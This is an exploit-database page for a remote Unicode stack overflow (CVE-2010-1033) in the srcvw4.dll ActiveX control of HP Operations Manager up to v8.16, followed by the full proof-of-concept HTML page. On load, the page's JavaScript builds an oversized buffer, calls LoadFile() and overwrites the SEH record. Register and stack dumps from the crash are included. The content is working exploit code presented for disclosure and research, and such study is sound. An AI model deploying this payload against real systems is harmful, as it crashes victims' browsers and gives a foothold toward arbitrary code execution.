header-logo
Suggest Exploit
vendor:
HP Operations Manager
by:
mr_me
7.5
CVSS
HIGH
Remote Unicode Stack Overflow
119
CWE
Product Name: HP Operations Manager
Affected Version From: HP Operations Manager v8.0
Affected Version To: HP Operations Manager v8.16
Patch Exists: YES
Related CWE: CVE-2010-1033
CPE: a:hp:operations_manager:8.16
Metasploit:
Other Scripts:
Platforms Tested: Windows XP SP3 (IE 6 & 7)
2010

HP Operations Manager <= v8.16 - (srcvw4.dll) LoadFile()/SaveFile() Remote Unicode Stack Overflow PoC

This is a proof-of-concept exploit for a remote unicode stack overflow vulnerability in HP Operations Manager version 8.16. The vulnerability exists in the LoadFile() and SaveFile() functions of the srcvw4.dll module. The exploit allows an attacker to overwrite the address of the seh handler and potentially execute arbitrary code.

Mitigation:

Upgrade to a version higher than v8.16 or apply the patch provided by HP. Disable scripting on HP Operations Manager.
Source

Exploit-DB raw data:

<html>
<!--
		|------------------------------------------------------------------|
		|                         __               __                      |
		|   _________  ________  / /___ _____     / /____  ____ _____ ___  |
		|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |
		| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |
		| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |
		|                                                                  |
		|                                       http://www.corelan.be:8800 |
		|                                              security@corelan.be |
		|                                                                  |
		|-------------------------------------------------[ EIP Hunters ]--|

# HP Operations Manager <= v8.16 - (srcvw4.dll) LoadFile()/SaveFile() Remote Unicode Stack Overflow PoC
# Found by: mr_me - http://net-ninja.net/
# Homepage: http://www.hp.com/
# CVE: CVE-2010-1033
# Tested on: Windows XP SP3 (IE 6 & 7)
# Marked safe for scripting: No
# Module path: C:\Program Files\HP\HP BTO Software\bin\srcvw4.dll
# HP's Advisory: http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02078800
# Advisory: http://www.corelan.be:8800/advisories.php?id=10-027
# Greetz: Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# ######################################################################################################
# Notes: 
# - This is a 3rd party library by Tetradyne Inc (not from HP) but HP take full responsibility
# - /SafeSEH protected module
# - The SaveFile() function is also vulnerable to a unicode stack overflow. 
# - Having '\x42' or 'B' as the 2nd byte of nseh will cause us to overwrite the address
# 	of seh handler itself and not the contents.
# - There is simply no code execution on this because there is no unicode friendly
# 	ppr's that I know of. However you could include other components, to get code execution.
# ######################################################################################################
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.  
# If you do, Corelan cannot be held responsible for any damages this may cause.

The Registers:

EAX 002BD012
ECX 000AEAAA
EDX 02A90024 UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..
EBX 80070003
ESP 0013DA1C
EBP 0013DA70 UNICODE "Could not open file AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..
ESI 02A9258C UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..
EDI 00140000 ASCII "Actx "
EIP 024DA413 srcvw4.024DA413

The stack:

0013B600   00410041  A.A.  iexplore.00410041
0013B604   00410041  A.A.  iexplore.00410041
0013B608   00430043  C.C.  Pointer to next SEH record
0013B60C   00420042  B.B.  SE handler
0013B610   00440044  D.D.
0013B614   00440044  D.D.

And remember, its better to try and fail, then fail to try :-)
-->
<object classid='clsid:366C9C52-C402-416B-862D-1464F629CA59' id='boom' ></object>
<script language="JavaScript" defer> 
  function b00m()  
   {  
    var buffSize = 1072;
	var x = unescape("%41");
	var y = unescape("%44");
	// 'B' or \x41 as the 2nd byte of nseh will destroy our SEH chain
	var nseh = unescape("%43%43");
	var seh = unescape("%42%42");
	while (x.length<buffSize) x += x;  
    x = x.substring(0,buffSize); 
	while (y.length<buffSize) y += y;  
    y = y.substring(0,buffSize);	
    boom.LoadFile(x+nseh+seh+y);
  }  
</script>  
<body onload="JavaScript: return b00m();">    
<p><center>~ mr_me presents ~</p>
<p><b>HP Operations Manager <= v8.16 - (srcvw4.dll) LoadFile()/SaveFile() Remote Unicode Stack Overflow PoC</b></center></p> 
</body>
</html>